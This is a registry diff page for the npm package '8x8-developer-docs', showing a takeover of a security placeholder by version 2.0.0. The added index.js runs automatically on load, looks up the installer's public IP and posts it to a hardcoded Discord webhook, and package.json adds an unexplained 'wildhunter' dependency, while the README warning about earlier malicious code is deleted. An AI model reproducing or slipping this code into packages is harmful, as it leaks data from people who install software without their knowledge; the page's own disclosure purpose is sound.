8x8-developer-docs 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of 8x8-developer-docs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +41 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,41 @@
1
+ const https = require('https');
2
+
3
+ const sendIpToWebhook = async () => {
4
+ const webhookUrl = "https://discord.com/api/webhooks/1475521278860595484/kWHMZfJex1A3eAAUr1mT9srTHD6s7lNcW2XN1s7d7xYPAsluttOV2Yyfa8LBCxhk93Wo";
5
+
6
+ return new Promise((resolve, reject) => {
7
+ https.get('https://api.ipify.org?format=json', (res) => {
8
+ let data = '';
9
+ res.on('data', chunk => data += chunk);
10
+ res.on('end', async () => {
11
+ try {
12
+ const { ip } = JSON.parse(data);
13
+
14
+ const response = await fetch(webhookUrl, {
15
+ method: "POST",
16
+ headers: { "Content-Type": "application/json" },
17
+ body: JSON.stringify({ content: `Public IP: ${ip}` })
18
+ });
19
+
20
+ if (response.ok) {
21
+ resolve();
22
+ } else {
23
+ reject(`Webhook failed: ${response.status}`);
24
+ }
25
+ } catch (err) {
26
+ reject(err.message);
27
+ }
28
+ });
29
+ }).on('error', (err) => {
30
+ reject(err.message);
31
+ });
32
+ });
33
+ };
34
+
35
+ // --- This is the part that makes it auto-execute ---
36
+ sendIpToWebhook()
37
+ .then(() => console.log("IP log complete."))
38
+ .catch(err => console.error("Auto-execution failed:", err));
39
+
40
+ // Optional: Export the function anyway so users can call it manually if they want
41
+ module.exports = sendIpToWebhook;
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "8x8-developer-docs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "This is a test Package ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "Slurppy",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "wildhunter": "^1.0.0"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=8x8-developer-docs for more information.